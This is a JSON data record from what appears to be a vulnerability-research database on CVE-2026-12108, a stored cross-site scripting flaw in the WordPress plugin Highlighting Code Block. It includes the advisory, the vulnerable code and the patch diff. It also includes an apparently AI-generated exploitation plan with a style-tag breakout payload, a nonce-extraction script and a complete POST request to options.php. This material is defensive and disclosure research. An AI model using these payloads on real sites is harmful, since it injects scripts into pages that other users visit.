[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fBO8Y3IkcnKYMJVN9xBIvbPcB2_OJHT5svngzW90XjnM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-12108","highlighting-code-block-authenticated-administrator-stored-cross-site-scripting-via-fontfamily-setting","Highlighting Code Block \u003C= 2.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'font_family' Setting","The Highlighting Code Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.","highlighting-code-block",null,"\u003C=2.2.0","2.2.1","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-09 19:36:03","2026-07-10 07:48:40",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F166e1d3a-3fd9-4ab0-ba0d-707c6d59e0cd?source=api-prod",1,[22,23,24,25,26],"class\u002Floos_hcb.php","class\u002Floos_hcb_menu.php","class\u002Floos_hcb_scripts.php","highlighting-code-block.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-12108 (Highlighting Code Block Stored XSS)\n\n## 1. Vulnerability Summary\nThe **Highlighting Code Block** plugin for WordPress (version \u003C= 2.2.0) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `font_family` setting. The vulnerability exists because the plugin accepts arbitrary input in the \"Font-family\" setting field and subsequently renders this value within a `:root` CSS variable declaration inside a `\u003Cstyle>` block on the frontend. The output is concatenated into the CSS string without escaping or sanitization, allowing an attacker to break out of the CSS context and the `\u003Cstyle>` tag to inject arbitrary JavaScript.\n\nWhile the setting requires Administrator-level permissions to modify, this is a significant finding for **WordPress Multisite** environments (where site admins are restricted from `unfiltered_html`) or installations where `DISALLOW_UNFILTERED_HTML` is enabled.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Foptions.php` (Standard WordPress Settings API handler).\n- **Vulnerable Setting:** `loos_hcb_settings[font_family]`\n- **Required Capability:** `manage_options` (Administrator level).\n- **Action String:** `update`\n- **Option Group:** `hcb_settings` (Defined by `LOOS_HCB::MENU_SLUG`).\n- **Preconditions:** The attacker must have administrative access. The impact is realized when any user (including other admins) views a frontend page where the code block styles are loaded.\n\n## 3. Code Flow\n1. **Entry Point (Input):** In `class\u002Floos_hcb_menu.php`, the plugin registers the setting `loos_hcb_settings` (mapped to `LOOS_HCB::DB_NAME['settings']`) via `register_setting()`. It defines the `font_family` field as a `textarea`.\n2. **Storage:** When an administrator submits the settings form, WordPress saves the array into the `wp_options` table under the key `loos_hcb_settings`.\n3. **Processing (Sink):** In `class\u002Floos_hcb.php`, the function `get_inline_style()` retrieves the setting:\n   ```php\n   public static function get_inline_style() {\n       $inline_css = '';\n       $HCB        = self::$settings; \u002F\u002F Merged array from get_option('loos_hcb_settings')\n       \u002F\u002F ...\n       \u002F\u002F Font family\n       if ( $HCB['font_family'] ) {\n           $inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}';\n       }\n       return $inline_css;\n   }\n   ```\n4. **Rendering:** In `class\u002Floos_hcb_scripts.php`, the `hook_wp_enqueue_scripts()` method calls `get_inline_style()` and passes the raw string to `wp_add_inline_style()`:\n   ```php\n   wp_add_inline_style( 'hcb-style', LOOS_HCB::get_inline_style() );\n   ```\n   WordPress renders this into the `\u003Chead>` section as:\n   ```html\n   \u003Cstyle id='hcb-style-inline-css' type='text\u002Fcss'>\n   :root{--hcb--ff:[USER_INPUT]}\n   \u003C\u002Fstyle>\n   ```\n\n## 4. Nonce Acquisition Strategy\nSince this exploit targets the `options.php` endpoint, a valid WordPress nonce for the `hcb_settings-options` action is required.\n\n1. **Access Settings Page:** Log in as an administrator and navigate to the plugin settings page: `\u002Fwp-admin\u002Foptions-general.php?page=hcb_settings`.\n2. **Extract Nonce:** Use `browser_eval` to extract the nonce from the settings form.\n   - **Form Nonce Field:** `_wpnonce`\n   - **Referer Nonce Field:** `_wp_http_referer`\n3. **JavaScript for Nonce:**\n   ```javascript\n   \u002F\u002F The nonce is inside the form with action \"options.php\"\n   document.querySelector('form[action=\"options.php\"] input[name=\"_wpnonce\"]').value\n   ```\n\n## 5. Exploitation Strategy\nThe goal is to break out of the CSS variable context and the `\u003Cstyle>` tag.\n\n### Payload\n```css\n} \u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n```\n\n### HTTP Request (via `http_request` tool)\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Foptions.php`\n- **Headers:**\n  - `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n```urlencoded\noption_page=hcb_settings\n&action=update\n&_wpnonce=[EXTRACTED_NONCE]\n&_wp_http_referer=\u002Fwp-admin\u002Foptions-general.php?page=hcb_settings\n&loos_hcb_settings[font_family]=}%20%3C\u002Fstyle%3E%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E\n&loos_hcb_settings[show_lang]=on\n&loos_hcb_settings[show_linenum]=on\n&loos_hcb_settings[show_copy]=on\n&submit=Save%20Changes\n```\n*Note: We include other default settings (show_lang, etc.) to ensure the options array is reconstructed correctly during the `update_option` call.*\n\n## 6. Test Data Setup\n1. **Install Plugin:** Ensure \"Highlighting Code Block\" version 2.2.0 is active.\n2. **Create Post:** Create a public post containing the plugin's block or just any page. The CSS is enqueued on any page where `wp_enqueue_scripts` runs and the plugin determines it needs to load styles. To be certain, add a code block to a post.\n   ```bash\n   wp post create --post_type=post --post_title=\"XSS Test\" --post_status=publish --post_content='\u003C!-- wp:loos\u002Fhcb-code-block --> \u003Cpre class=\"prism undefined-numbers\" data-lang=\"html\">\u003Ccode>test\u003C\u002Fcode>\u003C\u002Fpre> \u003C!-- \u002Fwp:loos\u002Fhcb-code-block -->'\n   ```\n\n## 7. Expected Results\n- After the POST request, the `loos_hcb_settings` option in the database will contain the payload.\n- Upon visiting the frontend post created in step 6, the HTML source will contain:\n  ```html\n  \u003Cstyle id='hcb-style-inline-css' type='text\u002Fcss'>\n  :root{--hcb--ff:} \u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>}\n  \u003C\u002Fstyle>\n  ```\n- The browser will execute the injected `\u003Cscript>` block.\n\n## 8. Verification Steps\n1. **Check Database via CLI:**\n   ```bash\n   wp option get loos_hcb_settings --format=json\n   ```\n   Confirm the `font_family` key contains the payload.\n2. **Verify Frontend Render:**\n   Use `http_request` (GET) on the frontend URL and check for the presence of the string `\u003C\u002Fstyle>\u003Cscript>alert`.\n\n## 9. Alternative Approaches\nIf the `options.php` route is blocked or the admin cannot access it, check for a direct AJAX save action (though not found in this plugin's source). \nAn alternative payload context:\nIf the `font_family` is reflected inside an attribute (e.g., `style=\"font-family: [INPUT]\"`), the breakout would change to `\"; [XSS]`. However, in this plugin, it is strictly within a `\u003Cstyle>` block, so the `\u003C\u002Fstyle>` breakout is the most reliable method.","The Highlighting Code Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'font_family' setting in versions up to 2.2.0. Authenticated administrators can inject malicious code that breaks out of the CSS :root variable context and the enclosing \u003Cstyle> tag to execute arbitrary JavaScript on the frontend for all users.","\u002F\u002F class\u002Floos_hcb_menu.php (lines 20-23 in v2.2.0)\nadd_action( 'admin_init', function() {\n\t\u002F\u002F データベースに保存されるオプション名を登録\n\tregister_setting( LOOS_HCB::MENU_SLUG, LOOS_HCB::DB_NAME['settings'] );\n\n---\n\n\u002F\u002F class\u002Floos_hcb.php (lines 145-156 in v2.2.0)\n\tpublic static function get_inline_style() {\n\n\t\t$inline_css = '';\n\t\t$HCB        = self::$settings;\n\n\t\t\u002F\u002F Font size\n\t\t$inline_css .= ':root{--hcb--fz--base: ' . $HCB['fontsize_pc'] . '}';\n\t\t$inline_css .= ':root{--hcb--fz--mobile: ' . $HCB['fontsize_sp'] . '}';\n\n\t\t\u002F\u002F Font family\n\t\tif ( $HCB['font_family'] ) {\n\t\t\t$inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}';\n\t\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.0\u002Fclass\u002Floos_hcb_menu.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.1\u002Fclass\u002Floos_hcb_menu.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.0\u002Fclass\u002Floos_hcb_menu.php\t2026-03-31 16:59:32.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.1\u002Fclass\u002Floos_hcb_menu.php\t2026-07-01 04:28:36.000000000 +0000\n@@ -20,7 +20,14 @@\n  *\u002F\n add_action( 'admin_init', function() {\n \t\u002F\u002F データベースに保存されるオプション名を登録\n-\tregister_setting( LOOS_HCB::MENU_SLUG, LOOS_HCB::DB_NAME['settings'] );\n+\tregister_setting(\n+\t\tLOOS_HCB::MENU_SLUG,\n+\t\tLOOS_HCB::DB_NAME['settings'],\n+\t\t[\n+\t\t\t'type'              => 'array',\n+\t\t\t'sanitize_callback' => [ 'LOOS_HCB_Menu', 'sanitize_settings' ],\n+\t\t]\n+\t);\n \n \t\u002F\u002F「基本設定」セクション\n \tadd_settings_section(\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.0\u002Fclass\u002Floos_hcb.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.1\u002Fclass\u002Floos_hcb.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.0\u002Fclass\u002Floos_hcb.php\t2023-11-12 10:10:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhighlighting-code-block\u002F2.2.1\u002Fclass\u002Floos_hcb.php\t2026-07-01 04:28:36.000000000 +0000\n@@ -142,6 +142,35 @@\n \n \n \t\u002F**\n+\t * CSS値（font-family \u002F font-size など）を \u003Cstyle> コンテキスト用にサニタイズする。\n+\t *\u002F\n+\tpublic static function sanitize_css_value( $value ) {\n+\t\t$value = wp_strip_all_tags( (string) $value );\n+\t\t$value = str_replace( [ '\u003C', '>', '{', '}', ';' ], '', $value );\n+\t\treturn trim( $value );\n+\t}\n+\n+\t\u002F**\n \t * インラインスタイルの生成\n \t *\u002F\n \tpublic static function get_inline_style() {\n@@ -150,12 +179,13 @@\n \t\t$HCB        = self::$settings;\n \n \t\t\u002F\u002F Font size\n-\t\t$inline_css .= ':root{--hcb--fz--base: ' . $HCB['fontsize_pc'] . '}';\n-\t\t$inline_css .= ':root{--hcb--fz--mobile: ' . $HCB['fontsize_sp'] . '}';\n+\t\t$inline_css .= ':root{--hcb--fz--base: ' . self::sanitize_css_value( $HCB['fontsize_pc'] ) . '}';\n+\t\t$inline_css .= ':root{--hcb--fz--mobile: ' . self::sanitize_css_value( $HCB['fontsize_sp'] ) . '}';\n \n \t\t\u002F\u002F Font family\n-\t\tif ( $HCB['font_family'] ) {\n-\t\t\t$inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}';\n+\t\t$font_family = self::sanitize_css_value( $HCB['font_family'] );\n+\t\tif ( $font_family ) {\n+\t\t\t$inline_css .= ':root{--hcb--ff:' . $font_family . '}';\n \t\t}","To exploit this vulnerability, an attacker with Administrator-level privileges must first retrieve a valid WordPress nonce from the plugin's settings page (\u002Fwp-admin\u002Foptions-general.php?page=hcb_settings). Using this nonce, the attacker sends a POST request to \u002Fwp-admin\u002Foptions.php to update the 'loos_hcb_settings[font_family]' option. The payload consists of a closing brace to escape the CSS declaration, a closing \u003C\u002Fstyle> tag, and a malicious \u003Cscript> tag (e.g., '} \u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>'). When any user visits a frontend page containing a code block, the plugin renders this unsanitized string within an inline style block in the document \u003Chead>, resulting in the execution of the injected JavaScript.","gemini-3-flash-preview","2026-07-15 10:28:57","2026-07-15 10:29:42",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","2.2.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhighlighting-code-block\u002Ftags\u002F2.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhighlighting-code-block.2.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhighlighting-code-block\u002Ftags\u002F2.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhighlighting-code-block.2.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhighlighting-code-block\u002Ftags"]